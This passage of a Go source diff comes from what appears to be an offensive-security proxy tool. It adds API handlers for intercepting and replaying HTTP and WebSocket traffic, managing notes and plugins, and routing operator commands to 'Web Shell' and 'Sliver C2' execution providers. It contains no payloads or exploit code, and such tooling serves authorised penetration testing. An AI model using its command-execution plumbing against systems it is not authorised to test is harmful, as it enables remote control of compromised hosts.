if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.mu.Lock()
if body.Color == "" {
delete(s.highlights, id)
} else {
s.highlights[id] = body.Color
}
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}
func (s *APIServer) handleClearHighlights(w http.ResponseWriter, r *http.Request) {
s.mu.Lock()
s.highlights = make(map[string]string)
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}
+254
View File
@@ -0,0 +1,254 @@
package api
import (
"context"
"encoding/json"
"fmt"
"log"
"net/http"
"strconv"
"time"
"github.com/BishopFox/joro/sdk"
)
// providerInfoResponse is the payload for GET /api/v1/plugins/interact-providers.
type providerInfoResponse struct {
Name string `json:"name"`
Info sdk.InteractInfo `json:"info"`
ConfigSchema []sdk.ConfigField `json:"configSchema"`
}
// handleListInteractProviders lists all loaded InteractProviders with their
// Info() metadata and ConfigSchema() so the UI can render a row per provider.
func (s *APIServer) handleListInteractProviders(w http.ResponseWriter, r *http.Request) {
if s.pluginManager == nil {
writeJSON(w, http.StatusOK, []providerInfoResponse{})
return
}
providers := s.pluginManager.InteractProviders()
out := make([]providerInfoResponse, 0, len(providers))
for name, ip := range providers {
out = append(out, providerInfoResponse{
Name: name,
Info: safeInteractInfo(name, ip),
ConfigSchema: safeInteractConfigSchema(name, ip),
})
}
writeJSON(w, http.StatusOK, out)
}
func (s *APIServer) makeInteractListInstancesHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ip := s.pluginManager.InteractProviders()[name]
if ip == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
defer cancel()
instances, err := safeInteractListInstances(name, ip, ctx)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if instances == nil {
instances = []sdk.InteractInstance{}
}
writeJSON(w, http.StatusOK, instances)
}
}
func (s *APIServer) makeInteractCreateInstanceHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ip := s.pluginManager.InteractProviders()[name]
if ip == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
var config map[string]string
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
defer cancel()
inst, err := safeInteractCreateInstance(name, ip, ctx, config)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusCreated, inst)
}
}
func (s *APIServer) makeInteractDeleteInstanceHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ip := s.pluginManager.InteractProviders()[name]
if ip == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
id := r.PathValue("id")
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
defer cancel()
if err := safeInteractDeleteInstance(name, ip, ctx, id); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
}
func (s *APIServer) makeInteractSetEnabledHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ip := s.pluginManager.InteractProviders()[name]
if ip == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
id := r.PathValue("id")
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
defer cancel()
if err := safeInteractSetEnabled(name, ip, ctx, id, body.Enabled); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
}
func (s *APIServer) makeInteractListInteractionsHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ip := s.pluginManager.InteractProviders()[name]
if ip == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
instanceID := r.URL.Query().Get("instance_id")
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if limit <= 0 {
limit = 50
}
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
defer cancel()
page, err := safeInteractListInteractions(name, ip, ctx, instanceID, offset, limit)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if page.Items == nil {
page.Items = []sdk.InteractInteraction{}
}
writeJSON(w, http.StatusOK, page)
}
}
func (s *APIServer) makeInteractClearInteractionsHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ip := s.pluginManager.InteractProviders()[name]
if ip == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
instanceID := r.URL.Query().Get("instance_id")
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
defer cancel()
if err := safeInteractClearInteractions(name, ip, ctx, instanceID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
}
// ---------------------------------------------------------------------------
// Panic-safe wrappers
// ---------------------------------------------------------------------------
func safeInteractInfo(name string, ip sdk.InteractProvider) (info sdk.InteractInfo) {
defer func() {
if r := recover(); r != nil {
log.Printf("[plugins] %s: Info panic: %v", name, r)
}
}()
return ip.Info()
}
func safeInteractConfigSchema(name string, ip sdk.InteractProvider) (schema []sdk.ConfigField) {
defer func() {
if r := recover(); r != nil {
log.Printf("[plugins] %s: ConfigSchema panic: %v", name, r)
schema = nil
}
}()
return ip.ConfigSchema()
}
func safeInteractListInstances(name string, ip sdk.InteractProvider, ctx context.Context) (out []sdk.InteractInstance, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: ListInstances panic: %v", name, r)
}
}()
return ip.ListInstances(ctx)
}
func safeInteractCreateInstance(name string, ip sdk.InteractProvider, ctx context.Context, config map[string]string) (inst sdk.InteractInstance, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: CreateInstance panic: %v", name, r)
}
}()
return ip.CreateInstance(ctx, config)
}
func safeInteractDeleteInstance(name string, ip sdk.InteractProvider, ctx context.Context, id string) (err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: DeleteInstance panic: %v", name, r)
}
}()
return ip.DeleteInstance(ctx, id)
}
func safeInteractSetEnabled(name string, ip sdk.InteractProvider, ctx context.Context, id string, enabled bool) (err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: SetInstanceEnabled panic: %v", name, r)
}
}()
return ip.SetInstanceEnabled(ctx, id, enabled)
}
func safeInteractListInteractions(name string, ip sdk.InteractProvider, ctx context.Context, instanceID string, offset, limit int) (page sdk.InteractionPage, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: ListInteractions panic: %v", name, r)
}
}()
return ip.ListInteractions(ctx, instanceID, offset, limit)
}
func safeInteractClearInteractions(name string, ip sdk.InteractProvider, ctx context.Context, instanceID string) (err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: ClearInteractions panic: %v", name, r)
}
}()
return ip.ClearInteractions(ctx, instanceID)
}
+97
View File
@@ -0,0 +1,97 @@
package api
import (
"encoding/base64"
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleGetInterceptQueue(w http.ResponseWriter, r *http.Request) {
pending := s.intercept.List()
type item struct {
ID string `json:"id"`
Method string `json:"method"`
URL string `json:"url"`
Host string `json:"host"`
ReqRaw string `json:"reqRaw"` // base64
}
items := make([]item, 0, len(pending))
for _, p := range pending {
items = append(items, item{
ID: p.ID,
Method: p.Method,
URL: p.URL,
Host: p.Host,
ReqRaw: base64.StdEncoding.EncodeToString(p.ReqRaw),
})
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.intercept.IsEnabled(),
"items": items,
})
}
func (s *APIServer) handleToggleIntercept(w http.ResponseWriter, r *http.Request) {
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.intercept.SetEnabled(body.Enabled)
s.mu.Lock()
s.settings.InterceptEnabled = body.Enabled
s.mu.Unlock()
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
func (s *APIServer) handleForwardRequest(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
ReqRaw string `json:"reqRaw"` // base64-encoded modified raw request; optional
}
json.NewDecoder(r.Body).Decode(&body) //nolint:errcheck
var modifiedReq []byte
if body.ReqRaw != "" {
var err error
modifiedReq, err = base64.StdEncoding.DecodeString(body.ReqRaw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid reqRaw base64")
return
}
}
ok := s.intercept.Resolve(id, proxy.InterceptDecision{
Action: proxy.ActionForward,
ReqData: modifiedReq,
})
if !ok {
writeError(w, http.StatusNotFound, "request not found in queue")
return
}
writeJSON(w, http.StatusOK, map[string]string{"status": "forwarded"})
}
func (s *APIServer) handleDropRequest(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
ok := s.intercept.Resolve(id, proxy.InterceptDecision{Action: proxy.ActionDrop})
if !ok {
writeError(w, http.StatusNotFound, "request not found in queue")
return
}
writeJSON(w, http.StatusOK, map[string]string{"status": "dropped"})
}
+55
View File
@@ -0,0 +1,55 @@
package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
)
type manipulateRequest struct {
Raw string `json:"raw"` // raw HTTP request bytes, base64-encoded
Scheme string `json:"scheme"` // "http" or "https"
Host string `json:"host"` // host:port
UpdateContentLength *bool `json:"updateContentLength,omitempty"` // recalculate Content-Length
FollowRedirects *bool `json:"followRedirects,omitempty"` // follow HTTP redirects
Decompress *bool `json:"decompress,omitempty"` // unpack compressed responses
}
func (s *APIServer) handleManipulateSend(w http.ResponseWriter, r *http.Request) {
var req manipulateRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
rawBytes, err := base64.StdEncoding.DecodeString(req.Raw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid raw base64")
return
}
if req.UpdateContentLength == nil || *req.UpdateContentLength {
rawBytes = proxy.UpdateContentLength(rawBytes)
}
opts := proxy.SendOptions{
FollowRedirects: req.FollowRedirects != nil && *req.FollowRedirects,
Decompress: req.Decompress == nil || *req.Decompress,
}
result, err := proxy.SendRawRequest(r.Context(), rawBytes, req.Scheme, req.Host, opts, s.transport)
if err != nil {
writeError(w, http.StatusBadGateway, fmt.Sprintf("sending request: %v", err))
return
}
defer result.Response.Body.Close()
writeJSON(w, http.StatusOK, map[string]any{
"status": result.Response.StatusCode,
"durationMs": result.Duration.Milliseconds(),
"rawResp": base64.StdEncoding.EncodeToString(result.RawResp),
})
}
+172
View File
@@ -0,0 +1,172 @@
package api
import (
"encoding/base64"
"encoding/json"
"errors"
"net/http"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// manipulateWSConnectRequest is the body of POST /manipulate/ws/connect.
type manipulateWSConnectRequest struct {
Raw string `json:"raw"` // base64-encoded raw HTTP upgrade request
Scheme string `json:"scheme"` // "ws" or "wss"
Host string `json:"host"` // host[:port]
}
// manipulateWSSendRequest is the body of POST /manipulate/ws/{id}/send.
type manipulateWSSendRequest struct {
Opcode string `json:"opcode"` // text|binary|ping|pong|close
Payload string `json:"payload"` // base64-encoded
}
func (s *APIServer) handleManipulateWSConnect(w http.ResponseWriter, r *http.Request) {
if s.wsManipulate == nil {
writeError(w, http.StatusServiceUnavailable, "ws manipulation unavailable")
return
}
var req manipulateWSConnectRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
rawBytes, err := base64.StdEncoding.DecodeString(req.Raw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid raw base64")
return
}
sessID := "" // filled in after Dial; callbacks capture via closure
var sessRef *proxy.ManipulateWSSession
onFrame := func(direction string, opcode byte, payload []byte, ts time.Time) {
if sessRef == nil {
return
}
s.broadcastManipulateWSFrame(sessRef.ID, direction, opcode, payload, ts)
}
onClose := func(reason string) {
if sessRef == nil {
return
}
s.hub.Broadcast() <- event.WSEvent{
Type: "manipulate.ws.closed",
Data: map[string]any{
"sessionId": sessRef.ID,
"reason": reason,
},
}
}
sess, rawResp, err := s.wsManipulate.Dial(rawBytes, req.Scheme, req.Host, onFrame, onClose)
// Always return 200 so the client can inspect rawResp regardless of the
// upgrade outcome. sessionId is empty on failure; error carries the reason.
resp := map[string]any{
"sessionId": "",
"status": 0,
"rawResp": base64.StdEncoding.EncodeToString(rawResp),
"error": "",
}
if err != nil {
resp["error"] = err.Error()
writeJSON(w, http.StatusOK, resp)
return
}
sessRef = sess
sessID = sess.ID
resp["sessionId"] = sessID
resp["status"] = http.StatusSwitchingProtocols
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleManipulateWSSend(w http.ResponseWriter, r *http.Request) {
if s.wsManipulate == nil {
writeError(w, http.StatusServiceUnavailable, "ws manipulation unavailable")
return
}
id := r.PathValue("id")
if id == "" {
writeError(w, http.StatusBadRequest, "missing session id")
return
}
var req manipulateWSSendRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
opcode, ok := proxy.OpcodeFromName(req.Opcode)
if !ok {
writeError(w, http.StatusBadRequest, "invalid opcode")
return
}
var payload []byte
if req.Payload != "" {
b, err := base64.StdEncoding.DecodeString(req.Payload)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid payload base64")
return
}
payload = b
}
if err := s.wsManipulate.Send(id, opcode, payload); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// If the user sent a close frame, also tear down the session.
if opcode == 0x8 {
s.wsManipulate.Close(id, "client closed")
}
writeJSON(w, http.StatusOK, map[string]any{"ok": true})
}
func (s *APIServer) handleManipulateWSDisconnect(w http.ResponseWriter, r *http.Request) {
if s.wsManipulate == nil {
writeError(w, http.StatusServiceUnavailable, "ws manipulation unavailable")
return
}
id := r.PathValue("id")
if id == "" {
writeError(w, http.StatusBadRequest, "missing session id")
return
}
if s.wsManipulate.Get(id) == nil {
writeJSON(w, http.StatusNotFound, map[string]any{"error": errors.New("no such session").Error()})
return
}
s.wsManipulate.Close(id, "client disconnected")
writeJSON(w, http.StatusOK, map[string]any{"ok": true})
}
// broadcastManipulateWSFrame emits a manipulate.ws.frame event for one frame.
// Binary payloads are carried as base64; text payloads are carried the same
// way (isText is a display hint) so there's no encoding ambiguity on the wire.
func (s *APIServer) broadcastManipulateWSFrame(sessID, direction string, opcode byte, payload []byte, ts time.Time) {
s.hub.Broadcast() <- event.WSEvent{
Type: "manipulate.ws.frame",
Data: map[string]any{
"sessionId": sessID,
"direction": direction,
"opcode": proxy.OpcodeName(opcode),
"payload": base64.StdEncoding.EncodeToString(payload),
"isText": opcode == 0x1,
"size": len(payload),
"ts": ts.UTC().Format(time.RFC3339Nano),
},
}
}
+56
View File
@@ -0,0 +1,56 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleGetNoise(w http.ResponseWriter, r *http.Request) {
patterns := s.noise.Patterns()
if patterns == nil {
patterns = []proxy.NoisePattern{}
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.noise.IsEnabled(),
"patterns": patterns,
})
}
func (s *APIServer) handleSetNoiseEnabled(w http.ResponseWriter, r *http.Request) {
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.noise.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
}
func (s *APIServer) handleAddNoisePattern(w http.ResponseWriter, r *http.Request) {
var body struct {
Pattern string `json:"pattern"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Pattern == "" {
writeError(w, http.StatusBadRequest, "pattern is required")
return
}
p := s.noise.AddPattern(body.Pattern)
writeJSON(w, http.StatusCreated, p)
}
func (s *APIServer) handleDeleteNoisePattern(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.noise.RemovePattern(id) {
writeError(w, http.StatusNotFound, "pattern not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
+109
View File
@@ -0,0 +1,109 @@
package api
import (
"encoding/json"
"net/http"
"sort"
"strconv"
"github.com/BishopFox/joro/internal/notes"
"github.com/hashicorp/go-uuid"
)
func (s *APIServer) handleListNoteHosts(w http.ResponseWriter, r *http.Request) {
seen := make(map[string]struct{})
// Hosts from proxy request history.
if s.store != nil {
for _, h := range s.store.Hosts() {
seen[h] = struct{}{}
}
}
// Hosts from notes DB.
if s.noteStore != nil {
dbHosts, err := s.noteStore.ListHosts()
if err == nil {
for _, h := range dbHosts {
seen[h] = struct{}{}
}
}
}
hosts := make([]string, 0, len(seen))
for h := range seen {
hosts = append(hosts, h)
}
sort.Strings(hosts)
writeJSON(w, http.StatusOK, hosts)
}
func (s *APIServer) handleListNotes(w http.ResponseWriter, r *http.Request) {
host := r.URL.Query().Get("host")
if host == "" {
writeError(w, http.StatusBadRequest, "host parameter required")
return
}
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if limit <= 0 {
limit = 50
}
items, total, err := s.noteStore.ListNotes(host, offset, limit)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if items == nil {
items = []notes.Note{}
}
writeJSON(w, http.StatusOK, map[string]any{
"items": items,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleCreateNote(w http.ResponseWriter, r *http.Request) {
var body struct {
Host string `json:"host"`
Content string `json:"content"`
Author string `json:"author"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Host == "" || body.Content == "" {
writeError(w, http.StatusBadRequest, "host and content are required")
return
}
if body.Author == "" {
body.Author = "operator"
}
id, err := uuid.GenerateUUID()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
note, err := s.noteStore.CreateNote(id, body.Host, body.Content, body.Author)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusCreated, note)
}
func (s *APIServer) handleDeleteNote(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if err := s.noteStore.DeleteNote(id); err != nil {
writeError(w, http.StatusNotFound, "note not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
+390
View File
@@ -0,0 +1,390 @@
package api
import (
"context"
"encoding/json"
"fmt"
"io"
"io/fs"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"github.com/BishopFox/joro/sdk"
)
// handleListPlugins returns all loaded plugins with their status.
func (s *APIServer) handleListPlugins(w http.ResponseWriter, r *http.Request) {
if s.pluginManager == nil {
writeJSON(w, http.StatusOK, []any{})
return
}
writeJSON(w, http.StatusOK, s.pluginManager.List())
}
// handleListExecProviders returns built-in execution providers plus any loaded
// plugin providers, each with their config schema.
func (s *APIServer) handleListExecProviders(w http.ResponseWriter, r *http.Request) {
type providerInfo struct {
Name string `json:"name"`
Label string `json:"label"`
ConfigSchema []sdk.ConfigField `json:"configSchema"`
Builtin bool `json:"builtin"`
}
providers := []providerInfo{
{Name: "webshell", Label: "Web Shell", Builtin: true},
{Name: "sliver", Label: "Sliver C2", Builtin: true},
}
if s.pluginManager != nil {
for name, ep := range s.pluginManager.ExecProviders() {
schema := safeConfigSchema(name, ep)
providers = append(providers, providerInfo{
Name: name,
Label: ep.Manifest().Description,
ConfigSchema: schema,
Builtin: false,
})
}
}
writeJSON(w, http.StatusOK, providers)
}
// handlePluginGraph aggregates network graph data from all connected
// ExecProviders that implement GraphProvider.
func (s *APIServer) handlePluginGraph(w http.ResponseWriter, r *http.Request) {
if s.pluginManager == nil {
writeJSON(w, http.StatusOK, map[string]any{})
return
}
ctx, cancel := context.WithTimeout(r.Context(), 5*time.Second)
defer cancel()
writeJSON(w, http.StatusOK, s.pluginManager.GraphData(ctx))
}
// makeExtStatusHandler returns a handler for GET /api/v1/plugin/{name}/status.
func (s *APIServer) makeExtStatusHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ep := s.pluginManager.ExecProviders()[name]
if ep == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
status := safeStatus(name, ep, r.Context())
writeJSON(w, http.StatusOK, status)
}
}
// makeExtConnectHandler returns a handler for POST /api/v1/plugin/{name}/connect.
func (s *APIServer) makeExtConnectHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ep := s.pluginManager.ExecProviders()[name]
if ep == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
var config map[string]string
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
defer cancel()
if err := safeConnect(name, ep, ctx, config); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"connected": true})
}
}
// makeExtDisconnectHandler returns a handler for POST /api/v1/plugin/{name}/disconnect.
func (s *APIServer) makeExtDisconnectHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ep := s.pluginManager.ExecProviders()[name]
if ep == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
defer cancel()
if err := safeDisconnect(name, ep, ctx); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]bool{"connected": false})
}
}
// makeExtCommandHandler returns a handler for POST /api/v1/plugin/{name}/command.
func (s *APIServer) makeExtCommandHandler(name string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
ep := s.pluginManager.ExecProviders()[name]
if ep == nil {
writeError(w, http.StatusNotFound, "plugin not found")
return
}
var body struct {
Input string `json:"input"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
if strings.TrimSpace(body.Input) == "" {
writeError(w, http.StatusBadRequest, "input is required")
return
}
ctx, cancel := context.WithTimeout(r.Context(), 60*time.Second)
defer cancel()
result := safeCommand(name, ep, ctx, body.Input)
writeJSON(w, http.StatusOK, result)
}
}
// handleUploadPlugin accepts a multipart .so/.dylib file upload and saves it
// to the plugins directory. A restart is required to load the new plugin.
func (s *APIServer) handleUploadPlugin(w http.ResponseWriter, r *http.Request) {
if s.pluginManager == nil {
writeError(w, http.StatusInternalServerError, "plugin manager not initialized")
return
}
// 32 MB max upload.
if err := r.ParseMultipartForm(32 << 20); err != nil {
writeError(w, http.StatusBadRequest, "invalid multipart form")
return
}
file, header, err := r.FormFile("file")
if err != nil {
writeError(w, http.StatusBadRequest, "missing file field")
return
}
defer file.Close()
filename := filepath.Base(header.Filename)
if !strings.HasSuffix(filename, ".so") && !strings.HasSuffix(filename, ".dylib") {
writeError(w, http.StatusBadRequest, "file must be a .so or .dylib")
return
}
dest := filepath.Join(s.pluginManager.PluginDir(), filename)
// Prevent symlink attacks: if the destination exists and is a symlink,
// refuse the upload rather than following it to an arbitrary path.
if info, err := os.Lstat(dest); err == nil {
if info.Mode()&os.ModeSymlink != 0 {
writeError(w, http.StatusBadRequest, "destination is a symlink")
return
}
}
// Write with restrictive permissions (owner-only).
out, err := os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600)
if err != nil {
writeError(w, http.StatusInternalServerError, fmt.Sprintf("create file: %v", err))
return
}
defer out.Close()
if _, err := io.Copy(out, file); err != nil {
os.Remove(dest)
writeError(w, http.StatusInternalServerError, fmt.Sprintf("write file: %v", err))
return
}
writeJSON(w, http.StatusOK, map[string]string{
"filename": filename,
"message": "plugin uploaded — restart Joro to load it",
})
}
// handleDeletePlugin removes a plugin file from the plugins directory.
// A restart is required for the change to take effect.
func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
if s.pluginManager == nil {
writeError(w, http.StatusInternalServerError, "plugin manager not initialized")
return
}
filename := r.PathValue("filename")
if filename == "" {
writeError(w, http.StatusBadRequest, "filename is required")
return
}
// Sanitize: only allow base filenames, no path traversal.
filename = filepath.Base(filename)
if !strings.HasSuffix(filename, ".so") && !strings.HasSuffix(filename, ".dylib") {
writeError(w, http.StatusBadRequest, "invalid plugin filename")
return
}
path := filepath.Join(s.pluginManager.PluginDir(), filename)
// Refuse to delete through a symlink.
if info, err := os.Lstat(path); err == nil {
if info.Mode()&os.ModeSymlink != 0 {
writeError(w, http.StatusBadRequest, "target is a symlink")
return
}
}
if err := os.Remove(path); err != nil {
if os.IsNotExist(err) {
writeError(w, http.StatusNotFound, "plugin file not found")
} else {
writeError(w, http.StatusInternalServerError, fmt.Sprintf("remove file: %v", err))
}
return
}
writeJSON(w, http.StatusOK, map[string]string{
"filename": filename,
"message": "plugin removed — restart Joro to apply",
})
}
// registerPluginRoutes registers all dynamic routes for loaded plugins.
// Called from registerRoutes() after the static route block.
func registerPluginRoutes(s *APIServer, mux *http.ServeMux) {
if s.pluginManager == nil {
return
}
// Plugin listing, upload, delete, graph.
mux.HandleFunc("GET /api/v1/plugins", s.handleListPlugins)
mux.HandleFunc("POST /api/v1/plugins/upload", s.handleUploadPlugin)
mux.HandleFunc("DELETE /api/v1/plugins/{filename}", s.handleDeletePlugin)
mux.HandleFunc("GET /api/v1/plugins/exec-providers", s.handleListExecProviders)
mux.HandleFunc("GET /api/v1/plugins/interact-providers", s.handleListInteractProviders)
mux.HandleFunc("GET /api/v1/plugins/graph", s.handlePluginGraph)
// Per exec provider routes.
for name := range s.pluginManager.ExecProviders() {
p := "/api/v1/plugin/" + name
mux.HandleFunc("GET "+p+"/status", s.makeExtStatusHandler(name))
mux.HandleFunc("POST "+p+"/connect", s.makeExtConnectHandler(name))
mux.HandleFunc("POST "+p+"/disconnect", s.makeExtDisconnectHandler(name))
mux.HandleFunc("POST "+p+"/command", s.makeExtCommandHandler(name))
}
// Per interact provider routes.
for name := range s.pluginManager.InteractProviders() {
p := "/api/v1/plugin/" + name + "/interact"
mux.HandleFunc("GET "+p+"/instances", s.makeInteractListInstancesHandler(name))
mux.HandleFunc("POST "+p+"/instances", s.makeInteractCreateInstanceHandler(name))
mux.HandleFunc("DELETE "+p+"/instances/{id}", s.makeInteractDeleteInstanceHandler(name))
mux.HandleFunc("PUT "+p+"/instances/{id}/enabled", s.makeInteractSetEnabledHandler(name))
mux.HandleFunc("GET "+p+"/interactions", s.makeInteractListInteractionsHandler(name))
mux.HandleFunc("DELETE "+p+"/interactions", s.makeInteractClearInteractionsHandler(name))
}
// Tab + feature routes and UI assets.
for name, tab := range s.pluginManager.TabProviders() {
registerTabExtRoutes(mux, name, tab)
}
for name, feat := range s.pluginManager.Features() {
registerTabExtRoutes(mux, name, feat)
}
// Dashboard plugin routes + UI.
if dash := s.pluginManager.Dashboard(); dash != nil {
dname := dash.Manifest().Name
for _, route := range dash.Routes() {
pattern := route.Method + " /api/v1/plugin/" + dname + route.Pattern
mux.HandleFunc(pattern, route.Handler)
}
if assets := dash.UIAssets(); assets != nil {
prefix := "/plugin/" + dname + "/"
mux.Handle(prefix, http.StripPrefix(prefix, http.FileServer(http.FS(assets))))
}
}
}
// registerTabExtRoutes registers a TabProvider's API routes and UI assets.
func registerTabExtRoutes(mux *http.ServeMux, name string, tab sdk.TabProvider) {
for _, route := range tab.Routes() {
pattern := route.Method + " /api/v1/plugin/" + name + route.Pattern
mux.HandleFunc(pattern, route.Handler)
}
if assets := tab.UIAssets(); assets != nil {
sub, err := fs.Sub(assets, ".")
if err != nil {
log.Printf("[plugins] %s: UI assets error: %v", name, err)
return
}
prefix := "/plugin/" + name + "/"
mux.Handle(prefix, http.StripPrefix(prefix, http.FileServer(http.FS(sub))))
}
}
// ---------------------------------------------------------------------------
// Panic-safe wrappers for ExecProvider methods
// ---------------------------------------------------------------------------
func safeConfigSchema(name string, ep sdk.ExecProvider) (schema []sdk.ConfigField) {
defer func() {
if r := recover(); r != nil {
log.Printf("[plugins] %s: ConfigSchema panic: %v", name, r)
schema = nil
}
}()
return ep.ConfigSchema()
}
func safeStatus(name string, ep sdk.ExecProvider, ctx context.Context) (status sdk.ProviderStatus) {
defer func() {
if r := recover(); r != nil {
log.Printf("[plugins] %s: Status panic: %v", name, r)
status = sdk.ProviderStatus{}
}
}()
return ep.Status(ctx)
}
func safeConnect(name string, ep sdk.ExecProvider, ctx context.Context, config map[string]string) (err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
log.Printf("[plugins] %s: Connect panic: %v", name, r)
}
}()
return ep.Connect(ctx, config)
}
func safeDisconnect(name string, ep sdk.ExecProvider, ctx context.Context) (err error) {
defer func() {
